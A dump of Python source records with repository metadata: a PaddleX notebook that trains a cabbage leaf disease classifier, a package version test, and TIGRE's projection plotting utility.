["BSD-3-Clause"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2018-09-20T10:37:53.000Z", "max_issues_repo_issues_event_max_datetime": "2018-09-26T23:57:48.000Z", "max_forks_repo_path": "fatf/transparency/models/tests/test_submodular_pick.py", "max_forks_repo_name": "AnthropocentricAI/fatf", "max_forks_repo_head_hexsha": "3f68ecb278da7a5ae8e11db186be5ce11fdf61ef", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2018-09-03T10:52:50.000Z", "max_forks_repo_forks_event_max_datetime": "2018-09-26T09:45:40.000Z", "avg_line_length": 34.0944444444, "max_line_length": 79, "alphanum_fraction": 0.6576503177, "include": true, "reason": "import numpy", "num_tokens": 1749, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4378234991142019, "lm_q2_score": 0.1311732152706269, "lm_q1q2_score": 0.057430716099846325}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# ## 1.\u9879\u76ee\u80cc\u666f\u4ecb\u7ecd  \n\n# \u6211\u56fd\u767d\u83dc\u79cd\u690d\u9762\u79ef\u5927\uff0c2015\u5e74\uff0c\u767d\u83dc\u79cd\u690d\u9762\u79ef261.8\u4e07\u516c\u9877\uff0c2016\u5e74\u767d\u83dc\u79cd\u690d\u9762\u79ef262.73\u4e07\u516c\u9877\u3002  \n# \u5927\u767d\u83dc\u4ea7\u91cf\u5927\uff0c\u4e14\u591a\u91c7\u7528\u5927\u9762\u79ef\u79cd\u690d\u65b9\u6848\uff0c\u4f46\u7531\u4e8e\u4eba\u529b\u8d44\u6e90\u53ca\u6210\u672c\u95ee\u9898\u96be\u4ee5\u5bf9\u5927\u89c4\u6a21\u83dc\u53f6\u4e00\u4e00\u8fdb\u884c\u5927\u767d\u83dc\u53f6\u5b50\u7684\u5065\u5eb7\u548c\u6f5c\u5728\u611f\u67d3\u68c0\u6d4b\u5224\u65ad\u3002   \n# \u968f\u7740\u8ba1\u7b97\u673a\u89c6\u89c9\u6280\u672f\u7684\u53d1\u5c55\uff0c\u4ee5\u53ca\u65e0\u4eba\u5316\u3001\u81ea\u52a8\u5316\u519c\u7530\u8fd0\u8425\u7406\u5ff5\u7684\u63d0\u51fa\uff0c\u5229\u7528\u56fe\u50cf\u8bc6\u522b\u6280\u672f\u53ca\u76ee\u6807\u68c0\u6d4b\u6280\u672f\u5b9e\u73b0\u519c\u4ea7\u54c1\u7684\u81ea\u52a8\u68c0\u6d4b\u7684\u9700\u6c42\u547c\u4e4b\u6b32\u51fa\uff0c\u53ef\u901a\u8fc7\u8ba1\u7b97\u673a\u89c6\u89c9\u7684\u65b9\u6cd5\u5bf9\u83dc\u53f6\u60c5\u51b5\u8fdb\u884c\u5206\u6790\uff0c\u53ef\u4ee5\u5b9e\u73b0\u65e9\u671f\u75c5\u5bb3\u9884\u8b66\uff0c\u51cf\u5c11\u4eba\u529b\u8d44\u6e90\u6210\u672c\u4ee5\u53ca\u964d\u4f4e\u8d22\u4ea7\u635f\u5931\u3002  \n# \n# ![](https://ai-studio-static-online.cdn.bcebos.com/70b4e5785ed04fb686f8645edab87144db0cb961e5ce4ff0aac063e88700e011)  \n# \u672c\u9879\u76ee\u57fa\u4e8ePaddleX\uff0c\u5e76\u4f7f\u7528MobileNetV2\u7f51\u7edc\u8fdb\u884c\u8bad\u7ec3\u3002\n\n# ## 2.\u6570\u636e\u4ecb\u7ecd  \n\n# ### 2.1 \u6570\u636e\u96c6\u4ecb\u7ecd  \n\n# \u8be5\u9879\u76ee\u5305\u542b\u4e24\u4efd\u6570\u636e\u96c6\u3002  \n# \u5176\u4e2d[\u5927\u767d\u83dc\u75c5\u5bb3\u6570\u636e\u96c6](https://aistudio.baidu.com/aistudio/datasetdetail/107285)\u4e3a\u6bcd\u4f53\uff0c\u8be5\u6570\u636e\u96c6\u5305\u542b\u5927\u767d\u83dc\u53f6\u5b50\u7684\u5065\u5eb7\u548c\u6f5c\u5728\u611f\u67d3\u56fe\u7247\uff0c\u76ee\u7684\u662f\u5c06\u5176\u7528\u4e8e\u7531\u62c9\u53e4\u7eb3\u9a6c\u6765\u4e9a\u5927\u5b66\u5b66\u751f\u8fdb\u884c\u7684\u6709\u5173\u673a\u5668\u5b66\u4e60\u548c\u75be\u75c5\u68c0\u6d4b\u7684\u672c\u79d1\u8bba\u6587\u7814\u7a76\u3002\u53c2\u4e0e\u7684\u5b66\u751f\u662f Giane Apuada\u3001JanPeter Virtucio \u548c Dante Parra\u3002\n# \u6570\u636e\u7531\u8bad\u7ec3\u6570\u636e\u96c6\u548c\u6d4b\u8bd5\u6570\u636e\u96c6\u7ec4\u6210\u3002\u8bad\u7ec3 csv \u6570\u636e\u96c6\u5df2\u88ab\u6807\u8bb0\u4e3a\u5305\u542b\u75be\u75c5\u7c7b\u522b\uff0c\u4f8b\u5982\u80cc\u86fe\u3001\u6f5c\u53f6\u866b\u548c\u9709\u83cc\u3002\u76f8\u5e94\u7684\u56fe\u50cf\u4e5f\u5df2\u6b63\u786e\u547d\u540d\u4ee5\u6b63\u786e\u53cd\u6620\u5b83\u4eec\u6240\u5305\u542b\u7684\u75be\u75c5\u7c7b\u522b\u3002\u5982\u679c\u5b83\u4eec\u63a5\u89e6 x \u79cd\u75be\u75c5\uff0c\u90a3\u4e48\u5b83\u4eec\u5c06\u5728\u6570\u636e\u96c6\u4e0a\u6807\u8bb0\u4e3a\u201c1\u201d\u3002\u5426\u5219\u6807\u8bb0\u4e3a\u201c0\u201d\u3002  \n# \u800c[\u767d\u83dc\u6570\u636e\u96c6](https://aistudio.baidu.com/aistudio/datasetdetail/129132)\u4e3a\u4ee5\u5927\u767d\u83dc\u6570\u636e\u96c6\u4e3a\u6bcd\u4f53\uff0c\u7ecf\u8fc7\u52a0\u5de5\u5206\u5272\u51fa\u8bad\u7ec3\u96c6\uff0c\u6d4b\u8bd5\u96c6\u7b49\u4ea7\u751f\u7684\u5b50\u8bad\u7ec3\u96c6\u3002\n\n# ### 2.2 \u6570\u636e\u96c6\u5904\u7406 \n\n# \u4f7f\u7528PaddleX\u8fdb\u884c\u8bad\u7ec3\u5bf9\u6570\u636e\u96c6\u7684\u5212\u5206\u548c\u683c\u5f0f\u5177\u6709\u4e00\u5b9a\u8981\u6c42\uff0c\u9700\u8981\u8fdb\u884c\u9884\u5904\u7406\uff0c\u5728\u8fd9\u91cc\u6211\u5c06\u6bcd\u4f53\u6570\u636e\u96c6\u76f4\u63a5\u5bfc\u5165PaddleX\u7684\u53ef\u89c6\u5316\u6a21\u578b\u8bad\u7ec3\u5ba2\u6237\u7aef\uff08\u7531\u4e8e\u6211\u7684python\u8bed\u8a00\u6c34\u5e73\u6bd4\u8f83\u5dee\uff09\uff0c\u518d\u5c06\u5176\u81ea\u52a8\u5904\u7406\u597d\u7684\u6570\u636e\u6253\u5305\u6210\u6570\u636e\u96c6\u5b50\u4f53\u4e0a\u4f20\u3002\n# \u4e0b\u56fe\u4e3a\u81ea\u52a8\u751f\u6210\u7684\u6570\u636e\uff1a![](https://ai-studio-static-online.cdn.bcebos.com/08a1d17570774e0e863ca362267c4ed658432b7a159244c19351e8249a1f20c6)\n# \n\n# ### 2.3 \u6570\u636e\u96c6\u5c55\u793a  \n# \u5c55\u793a\u6570\u636e\u96c6\u4e2d\u56fe\u50cf\u7684\u6570\u91cf\uff0c\u7c7b\u522b\uff0c\u4ee5\u53ca\u968f\u673a\u4e00\u5f20\u56fe\u50cf\u3002\n\n# In[1]:\n\n\nget_ipython().system(\"unzip 'data/data129132/baicai.zip' -d 'work'      #\u89e3\u538b\u6570\u636e\u5e93\")\nget_ipython().system(\"tree 'work' -d                                    #\u5217\u51fa\u76ee\u5f55\u7ed3\u6784\")\n\n\n# In[8]:\n\n\nimport cv2    #\u5bfc\u5165\u5e93\nimport numpy as np \nimport matplotlib.pylab as plt\n\nwith open(\"work/train_list.txt\", \"r\") as trainList: \n    trainDatas = trainList.readlines()\n    print('\u8bad\u7ec3\u96c6\u56fe\u7247\u6570\u91cf: {}'.format(len(trainDatas)))\n\nwith open(\"work/test_list.txt\", \"r\") as testList: \n    testDatas = testList.readlines()\n    print('\u6d4b\u8bd5\u96c6\u56fe\u7247\u6570\u91cf: {}'.format(len(testDatas)))\n\nwith open(\"work/val_list.txt\", \"r\") as valList: \n    valDatas = valList.readlines()\n    print('\u9a8c\u8bc1\u96c6\u56fe\u7247\u6570\u91cf: {}'.format(len(valDatas)))\n\n# \u4ece\u4e09\u79cd\u75c5\u5bb3\u79cd\u7c7b\u4e2d\u5404\u62bd\u53d6\u4e00\u5f20\u56fe\u50cf\u8fdb\u884c\u53ef\u89c6\u5316\nimg1_bgr = cv2.imread('work/backmoth/Backmoth1729.jpg')    #\u8bfb\u53d6\u56fe\u50cf\uff08opencv\u8bfb\u53d6\u7684\u56fe\u50cf\u683c\u5f0f\u4e3aBGR\uff09\nimg2_bgr = cv2.imread('work/leafminer/Leafminer58.jpg')\nimg3_bgr = cv2.imread('work/mildew/Mildew126.jpg')\n\nimg1_rgb = cv2.cvtColor(img1_bgr,cv2.COLOR_BGR2RGB)         #\u5c06BGR\u683c\u5f0f\u8f6c\u6362\u4e3aRGB\u683c\u5f0f\nimg2_rgb = cv2.cvtColor(img2_bgr,cv2.COLOR_BGR2RGB)\nimg3_rgb = cv2.cvtColor(img3_bgr,cv2.COLOR_BGR2RGB)\nplt.imshow(img1_rgb)          #\u6839\u636e\u6570\u7ec4\u7ed8\u5236\u56fe\u50cf\nplt.show()                    #\u663e\u793a\u56fe\u50cf\nplt.imshow(img2_rgb)\nplt.show()\nplt.imshow(img3_rgb)\nplt.show()               \n\n\n# ## 3.\u6a21\u578b\u4ecb\u7ecd  \n# MobileNetV2\u662f\u4e00\u4e2a\u56fe\u50cf\u5206\u7c7b\u6a21\u578b\u3002  \n# \uff08\u53c2\u8003\u8bba\u6587[ \"MobileNetV2: Inverted Residuals and Linear Bottlenecks\" ](https://arxiv.org/abs/1801.04381)\uff09  \n# MobileNetV2 \u67b6\u6784\u57fa\u4e8e\u5012\u7f6e\u6b8b\u5dee\u7ed3\u6784\uff0c\u5176\u4e2d\u6b8b\u5dee\u5757\u7684\u8f93\u5165\u548c\u8f93\u51fa\u662f\u4e0e\u4f20\u7edf\u6b8b\u5dee\u6a21\u578b\u76f8\u53cd\u7684\u8584\u74f6\u9888\u5c42\uff0c\u540e\u8005\u5728\u8f93\u5165\u4e2d\u4f7f\u7528\u6269\u5c55\u8868\u793a\uff0c\u800c MobileNetV2 \u4f7f\u7528\u8f7b\u91cf\u7ea7\u6df1\u5ea6\u5377\u79ef\u6765\u8fc7\u6ee4\u4e2d\u95f4\u6269\u5c55\u5c42\u4e2d\u7684\u7279\u5f81\u3002  \n# MobileNetV2\u80fd\u66f4\u597d\u5730\u5339\u914d\u79fb\u52a8\u548c\u5d4c\u5165\u5f0f\u8bbe\u5907\uff0c\u7b26\u5408\u5c06\u6765\u90e8\u7f72\u5728\u79fb\u52a8\u7aef\u7684\u9700\u6c42\u3002  \n# ![](https://ai-studio-static-online.cdn.bcebos.com/ea477df3a6394374bb38c06c7475aab0d62513adba9c48d0b50b045b08bef0a0)\n# \n# \n\n# ## 4.\u6a21\u578b\u8bad\u7ec3\n\n# ### 4.1 \u5b89\u88c5PaddleX\n\n# In[9]:\n\n\nget_ipython().system(' pip install paddlex==2.0.0')\n#\u5b89\u88c5PaddleX\n\n\n# ### 4.2 \u914d\u7f6eGPU  \n\n# In[10]:\n\n\n#\u8bbe\u7f6e\u4f7f\u75280\u53f7GPU\u5361\uff08\u5982\u65e0GPU\uff0c\u6267\u884c\u6b64\u4ee3\u7801\u540e\u4ecd\u7136\u4f1a\u4f7f\u7528CPU\u8bad\u7ec3\u6a21\u578b\uff09\nimport matplotlib\nmatplotlib.use('Agg') \nimport os\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\nimport paddlex as pdx\n\n\n# ### 4.3 \u5b9a\u4e49\u6570\u636e\u5904\u7406\u6d41\u7a0b\n\n# In[11]:\n\n\nfrom paddlex import transforms as T\n\ntrain_transforms = T.Compose(\n    [T.RandomCrop(crop_size=224), T.RandomHorizontalFlip(), T.Normalize()])\n#RandomCrop\uff1a\u526a\u88c1\u56fe\u50cf\u5e76\u8c03\u6574\u526a\u88c1\u540e\u7684\u56fe\u50cf\u7684\u5927\u5c0f\u5230crop_size*crop_size\n#RandomHorizontalFlip\uff1a\u4ee5\u4e00\u5b9a\u7684\u6982\u7387\u5bf9\u56fe\u50cf\u8fdb\u884c\u968f\u673a\u6c34\u5e73\u7ffb\u8f6c\neval_transforms = T.Compose([\n    T.ResizeByShort(short_size=256), T.CenterCrop(crop_size=224), T.Normalize()\n])\n\n\n# ### 4.4 \u5b9a\u4e49\u6570\u636e\u96c6\n\n# In[12]:\n\n\n#\u91c7\u7528pdx.datasets.ImageNet\u6765\u52a0\u8f7d\u6570\u636e\u96c6\ntrain_dataset = pdx.datasets.ImageNet(\n    data_dir='work',\n    file_list='work/train_list.txt',\n    label_list='work/labels.txt',\n    transforms=train_transforms,\n    shuffle=True)\neval_dataset = pdx.datasets.ImageNet(\n    data_dir='work',\n    file_list='work/val_list.txt',\n    label_list='work/labels.txt',\n    transforms=eval_transforms)\n    \n\n\n# ### 4.5 \u5f00\u59cb\u8bad\u7ec3\n\n# In[13]:\n\n\nnum_classes = len(train_dataset.labels)\nmodel = pdx.cls.MobileNetV2(num_classes=num_classes)\nmodel.train(num_epochs=10,                #\u6a21\u578b\u8bad\u7ec3\u8fed\u4ee3\u7684\u603b\u8f6e\u6570\u4e3a10\n            train_dataset=train_dataset,  #\u8bbe\u7f6e\u8bad\u7ec3\u96c6\n            train_batch_size=32,          #\u6837\u672c\u6570\u91cf\u4e3a32\n            eval_dataset=eval_dataset,    #\u8bbe\u7f6e\u6d4b\u8bd5\u96c6\n            lr_decay_epochs=[4, 6, 8], #\u5b66\u4e60\u7387\u5728\u7b2c4\u4e2aepoch\u65f6\u8870\u51cf\u4e00\u6b21\uff0c\u7b2c6\u4e2aepoch\u65f6\u518d\u8870\u51cf\u4e00\u6b21\uff0c\u7b2c8\u4e2aepoch\u65f6\u518d\u8870\u51cf\u4e00\u6b21\n            save_interval_epochs=1,  #\u6bcf\u95f4\u9694\u4e00\u8f6e\u8fdb\u884c\u8bc4\u4f30\u548c\u4fdd\u5b58\n            learning_rate=0.025,\n            save_dir='output/mobilenetv2',     #\u4fdd\u5b58\u76ee\u5f55\n            use_vdl=True)   #\u901a\u8fc7VisualDL\u5bf9\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u7684\u6307\u6807\u8fdb\u884c\u53ef\u89c6\u5316\n#\u6a21\u578b\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\uff0c\u4f1a\u5728save_dir\u4e0b\u751f\u6210vdl_log\u76ee\u5f55\uff0c\u901a\u8fc7\u5728\u547d\u4ee4\u884c\u7ec8\u7aef\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\uff0c\u542f\u52a8VisualDL\u3002\n#visualdl --logdir=output/vdl_log --port=8008\n#\u5728\u6d4f\u89c8\u5668\u6253\u5f00 http://0.0.0.0:8008 \u4fbf\u53ef\u76f4\u63a5\u67e5\u770b\u968f\u8bad\u7ec3\u8fed\u4ee3\u52a8\u6001\u53d8\u5316\u7684\u5404\u4e2a\u6307\u6807\n\n\n# ## 5.\u6a21\u578b\u8bc4\u4f30\n\n# In[14]:\n\n\nimport paddlex as pdx\nmodel = pdx.load_model('output/mobilenetv2/best_model')\nimage_name = 'work/backmoth/Backmoth425.jpg'      #\u4ece\u9a8c\u8bc1\u96c6\u4e2d\u62bd\u53d6\u4e00\u5f20\u56fe\u7247\u8fdb\u884c\u9884\u6d4b\nresult = model.predict(image_name)\nprint(\"\u9884\u6d4b\u7ed3\u679c:\", result)      #\u5c55\u793a\u9884\u6d4b\u7ed3\u679c\n\n\n# ## 6.\u603b\u7ed3\u4e0e\u5347\u534e\n\n# \u672c\u9879\u76ee\u57fa\u4e8ePaddleX\u7ec4\u4ef6\u8fdb\u884c\u5f00\u53d1\uff0c\u5b9e\u73b0\u7b80\u5355\uff0c\u4f46\u9884\u6d4b\u7ed3\u679c\u7684\u5206\u6570\u4e00\u822c\uff0c\u8fd8\u9700\u8981\u8fdb\u4e00\u6b65\u7684\u4f18\u5316\u6570\u636e\u5e93\uff0c\u6311\u9009\u66f4\u5408\u9002\u7684\u6a21\u578b\uff0c\u4ee5\u6c42\u8fbe\u5230\u66f4\u597d\u7684\u6548\u679c\u3002\n\n# ## 7.\u4e2a\u4eba\u603b\u7ed3\n\n# \u6765\u81ea\u4e1c\u5317\u5927\u5b66\u79e6\u7687\u5c9b\u5206\u6821\u673a\u68b0\u4e13\u4e1a\uff0c\u662f\u4e2a\u83dc\u9e21\uff0c\u4f46\u662f\u4e5f\u6b22\u8fce\u5927\u5bb6\u627e\u6211\u4ea4\u6d41\u5b66\u4e60\u3002\u5e0c\u671b\u4ee5\u540e\u5728AI\u65b9\u9762\u6709\u66f4\u6df1\u7684\u7814\u7a76\u3002  \n# [\u8fd9\u91cc\u662f\u6211\u7684\u4e3b\u9875\u94fe\u63a5](https://aistudio.baidu.com/aistudio/usercenter)\n", "meta": {"hexsha": "06fb3f06c7ae48cbf2f944351988e1b72a35e773", "size": 5188, "ext": "py", "lang": "Python", "max_stars_repo_path": "main (1).py", "max_stars_repo_name": "zzh313412/daimacangku", "max_stars_repo_head_hexsha": "16d534ac62b07070c3d1aff784ea458a496c0916", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "main (1).py", "max_issues_repo_name": "zzh313412/daimacangku", "max_issues_repo_head_hexsha": "16d534ac62b07070c3d1aff784ea458a496c0916", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "main (1).py", "max_forks_repo_name": "zzh313412/daimacangku", "max_forks_repo_head_hexsha": "16d534ac62b07070c3d1aff784ea458a496c0916", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.349726776, "max_line_length": 190, "alphanum_fraction": 0.7259059368, "include": true, "reason": "import numpy", "num_tokens": 2663, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3629691917376783, "lm_q2_score": 0.1581743527484317, "lm_q1q2_score": 0.057412416970728665}}
{"text": "from packaging import version\n\ndef test_numpy():\n    import numpy\n    print(numpy.__version__)\n\n    \ndef test_scipy():\n    import scipy\n    print(scipy.__version__)\n    ## on 10/28/2020 Devin discovered that CMSE201 needs version 1.5 or grater\n    assert(version.parse(\"1.5.2\") > version.parse(scipy.__version__))\n\ndef test_matplotlib():\n    import matplotlib\n    print(matplotlib.__version__)\n\ndef test_sympy():\n    import sympy\n    print(sympy.__version__)\n\ndef test_skimage():\n    import skimage \n    print(skimage.__version__)\n\n# def test_scikit-learn:\n#     import scikit-learn\n#     print(sscikit.__version__)\n", "meta": {"hexsha": "33a633bdcf696296b9f9ee5d490f012a879f7c0c", "size": 616, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_imports.py", "max_stars_repo_name": "colbrydi/cmse-unittest", "max_stars_repo_head_hexsha": "bcabe134bf754719b67fb63f39319c9efeda1c77", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/test_imports.py", "max_issues_repo_name": "colbrydi/cmse-unittest", "max_issues_repo_head_hexsha": "bcabe134bf754719b67fb63f39319c9efeda1c77", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/test_imports.py", "max_forks_repo_name": "colbrydi/cmse-unittest", "max_forks_repo_head_hexsha": "bcabe134bf754719b67fb63f39319c9efeda1c77", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.2413793103, "max_line_length": 78, "alphanum_fraction": 0.711038961, "include": true, "reason": "import numpy,import scipy,import sympy", "num_tokens": 159, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.11757213354550883, "lm_q1q2_score": 0.057408520559776355}}
{"text": "from __future__ import print_function\r\n\r\nimport matplotlib\r\nimport matplotlib.animation as animation\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\r\n\r\n\r\nclass plotProj:\r\n    # NOTE: type help(plotImg) after importing in order to get a readable manual.\r\n    (\r\n        \"\\n\"\r\n        \"plotProj(proj, dim) \\n\"\r\n        \"    plots figure \\n\"\r\n        \"default: progressive in slices following\\n\"\r\n        \"    axis (dim)\\n\"\r\n        \"Parameters \\n\"\r\n        \"---------- \\n\"\r\n        \"proj : Any 3D numpy array \\n\"\r\n        \"\\n\"\r\n        'dim : (\"U\",\"V\",\"T\",\"u\",\"v\",\"t\"), optional \\n'\r\n        '       default is \"T\"\\n'\r\n        \"       NOTE: string arguments!\"\r\n        \"\\n\"\r\n        \"angles: Any 1D numpy array. \\n\"\r\n        \"        Its length must be the same as proj.shape[0].\\n\"\r\n        '        Works only when dim is \"T\" or \"t\"\\n'\r\n        \"slice: int, optional\\n\"\r\n        \"     returns page of matrix according to index\\n\"\r\n        \"step: int, optional\\n\"\r\n        \"      Sets the step size between slice and slice.\"\r\n        \"      Step is 1 by default.\\n\"\r\n        \"savegif: string, optional\\n\"\r\n        \"         Saves the image as .gif with the file name\\n\"\r\n        \"show_plot: bool, optional\\n\"\r\n        \"           Sets whether to show the plot.\\n\"\r\n        \"           Default is None, automatically detects matplotlib backend\\n\"\r\n        \"           and decides whether to call plt.show.\\n\"\r\n        \"Examples:\\n\"\r\n        \"---------\\n\"\r\n        \"a=np.ones([3,3,3])\\n\"\r\n        \"plotImg(a)\\n\"\r\n        \">>>returns plot along dim T\\n\"\r\n        'plotImg(a,dim=\"v\")\\n'\r\n        \">>>returns plot along dim V\\n\"\r\n    )\r\n\r\n    def __init__(\r\n        self,\r\n        proj,\r\n        angles=None,\r\n        dim=None,\r\n        slice=None,\r\n        step=1,\r\n        savegif=None,\r\n        colormap=\"gray\",\r\n        clims=None,\r\n        show_plot=None,\r\n    ):\r\n        self.proj = proj\r\n        self.dim = dim\r\n        self.slice = slice\r\n        self.dimint = None  # keeps track of what dim\r\n        self.dimlist = [\"U\", \"V\", \"T\", \"u\", \"v\", \"t\", None]  # accepted parameters for dim\r\n        self.step = step\r\n        self.savegif = savegif\r\n        self.angles = angles\r\n        self.colormap = colormap\r\n        if clims is None:\r\n            self.min_val = np.amin(self.proj)\r\n            self.max_val = np.amax(self.proj)\r\n        else:\r\n            self.min_val = clims[0]\r\n            self.max_val = clims[1]\r\n        if show_plot is None:\r\n            # https://matplotlib.org/stable/tutorials/introductory/usage.html#backends\r\n            backend = matplotlib.get_backend()\r\n            if backend in [\r\n                \"GTK3Agg\",\r\n                \"GTK3Cairo\",\r\n                \"MacOSX\",\r\n                \"nbAgg\",\r\n                \"Qt4Agg\",\r\n                \"Qt4Cairo\",\r\n                \"Qt5Agg\",\r\n                \"Qt5Cairo\",\r\n                \"TkAgg\",\r\n                \"TkCairo\",\r\n                \"WebAgg\",\r\n                \"WX\",\r\n                \"WXAgg\",\r\n                \"WXCairo\",\r\n                \"module://ipykernel.pylab.backend_inline\",\r\n            ]:\r\n                self.show_plot = True\r\n            elif backend in [\"agg\", \"cairo\", \"pdf\", \"pgf\", \"ps\", \"svg\", \"template\"]:\r\n                self.show_plot = False\r\n            else:\r\n                self.show_plot = True\r\n        if self.step is None or self.step == 0:\r\n            self.step = 1\r\n        if self.savegif == \"\":\r\n            self.savegif == None\r\n        if self.slice is None:\r\n            self.run()\r\n        if self.slice is not None:\r\n            self.slicer()\r\n\r\n    def run(self):\r\n        if self.dim not in self.dimlist and self.dim is not None:\r\n            raise NameError(\"check inputs for dim, should be string.\")\r\n        if self.angles is not None and self.angles.shape[0] != self.proj.shape[0]:\r\n            raise NameError(\"check inputs for angles, should be size of proj.shape[0]\")\r\n\r\n        if self.dim in [\"U\", \"u\"]:\r\n            self.dimint = 2\r\n            self.dimlist = [\"->V\", \"->T\", \"U\"]\r\n            self.run_plot()\r\n        if self.dim in [\"V\", \"v\"]:\r\n            self.dimint = 1\r\n            self.dimlist = [\"->U\", \"->T\", \"V\"]\r\n            self.run_plot()\r\n        if self.dim in [None, \"T\", \"a\"]:\r\n            self.dimint = 0\r\n            self.dimlist = [\"->U\", \"->V\", \"T\"]\r\n            self.run_plot()\r\n\r\n    def update_frame(self, it, fig, min_val, max_val):\r\n        i = range(0, self.proj.shape[self.dimint])[:: self.step][it]\r\n        fig.clf()\r\n        axis = fig.add_subplot(1, 1, 1)\r\n        if self.dimint == 2:\r\n            mappable = axis.imshow(\r\n                np.squeeze(self.proj[:, :, i]),\r\n                cmap=self.colormap,\r\n                origin=\"lower\",\r\n                vmin=self.min_val,\r\n                vmax=self.max_val,\r\n            )\r\n        if self.dimint == 1:\r\n            mappable = axis.imshow(\r\n                np.squeeze(self.proj[:, i]),\r\n                cmap=self.colormap,\r\n                origin=\"lower\",\r\n                vmin=self.min_val,\r\n                vmax=self.max_val,\r\n            )\r\n        if self.dimint == 0:\r\n            mappable = axis.imshow(\r\n                np.squeeze(self.proj[i]),\r\n                cmap=self.colormap,\r\n                origin=\"lower\",\r\n                vmin=self.min_val,\r\n                vmax=self.max_val,\r\n            )\r\n        # axis.get_xaxis().set_ticks([])\r\n        # axis.get_yaxis().set_ticks([])\r\n        axis.set_xlabel(self.dimlist[0])\r\n        axis.set_ylabel(self.dimlist[1])\r\n        if self.angles is not None:\r\n            axis.set_title(\r\n                \"{}:{}, alpha={:+.3f} pi\".format(self.dimlist[2], i, self.angles[i] / np.pi)\r\n            )\r\n        else:\r\n            axis.set_title(self.dimlist[2] + \":\" + str(i))\r\n        divider = make_axes_locatable(axis)\r\n        cax = divider.append_axes(\"right\", size=\"5%\", pad=0.05)\r\n        fig.colorbar(mappable, cax=cax)\r\n        # plt.pause(0.01)\r\n\r\n    def run_plot(self):\r\n\r\n        dim = self.proj.shape\r\n\r\n        fig = plt.figure()\r\n        ani = animation.FuncAnimation(\r\n            fig,\r\n            self.update_frame,\r\n            fargs=(fig, self.min_val, self.max_val),\r\n            interval=100,\r\n            repeat_delay=1000,\r\n            frames=len(range(0, dim[self.dimint])[:: self.step]),\r\n        )\r\n        if self.savegif is not None:\r\n            ani.save(self.savegif, writer=\"pillow\")\r\n            self._show()\r\n        else:\r\n            self._show()\r\n\r\n    def slicer(self):\r\n\r\n        if self.dim in [\"U\", \"u\"]:\r\n            plt.xlabel(\"V\")\r\n            plt.ylabel(\"T\")\r\n            plt.imshow(\r\n                np.squeeze(self.proj[:, :, self.slice]),\r\n                cmap=self.colormap,\r\n                origin=\"lower\",\r\n                vmin=self.min_val,\r\n                vmax=self.max_val,\r\n            )\r\n        if self.dim in [\"V\", \"v\"]:\r\n            plt.xlabel(\"U\")\r\n            plt.ylabel(\"T\")\r\n            plt.imshow(\r\n                np.squeeze(self.proj[:, self.slice]),\r\n                cmap=self.colormap,\r\n                origin=\"lower\",\r\n                vmin=self.min_val,\r\n                vmax=self.max_val,\r\n            )\r\n        if self.dim in [None, \"T\", \"t\"]:\r\n            if self.angles is not None:\r\n                plt.title(\"alpha={:+.3f} pi\".format(self.angles[self.slice] / np.pi))\r\n            plt.xlabel(\"U\")\r\n            plt.ylabel(\"V\")\r\n            plt.imshow(\r\n                np.squeeze(self.proj[self.slice]),\r\n                cmap=self.colormap,\r\n                origin=\"lower\",\r\n                vmin=self.min_val,\r\n                vmax=self.max_val,\r\n            )\r\n        self._show()\r\n\r\n    def _show(self):\r\n        if self.show_plot:\r\n            plt.show()\r\n\r\n\r\ndef plotSinogram(proj, posV, show_plot=None):  # noqa: N803\r\n    \"\"\"\r\n    plotSinogram(proj, posV)\r\n        plots sinogram at V=posV\r\n\r\n    Parameters\r\n    ----------\r\n    proj : Any 3D numpy array\r\n    posV : integer. in range of 0:proj.shape[1].\r\n    \"\"\"\r\n    plotProj(proj, dim=\"V\", slice=posV, show_plot=show_plot)\r\n\r\n\r\nplotproj = plotProj\r\n", "meta": {"hexsha": "936c394191acddbbcd3a25a3775307fef43d1a90", "size": 8112, "ext": "py", "lang": "Python", "max_stars_repo_path": "Python/tigre/utilities/visualization/plotproj.py", "max_stars_repo_name": "tsadakane/TIGRE", "max_stars_repo_head_hexsha": "a853cd2d4a6bc9509c01414b85ca75b4448fd700", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 326, "max_stars_repo_stars_event_min_datetime": "2016-07-01T10:48:09.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T07:34:52.000Z", "max_issues_repo_path": "Python/tigre/utilities/visualization/plotproj.py", "max_issues_repo_name": "tsadakane/TIGRE", "max_issues_repo_head_hexsha": "a853cd2d4a6bc9509c01414b85ca75b4448fd700", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 311, "max_issues_repo_issues_event_min_datetime": "2016-07-05T16:00:06.000Z", 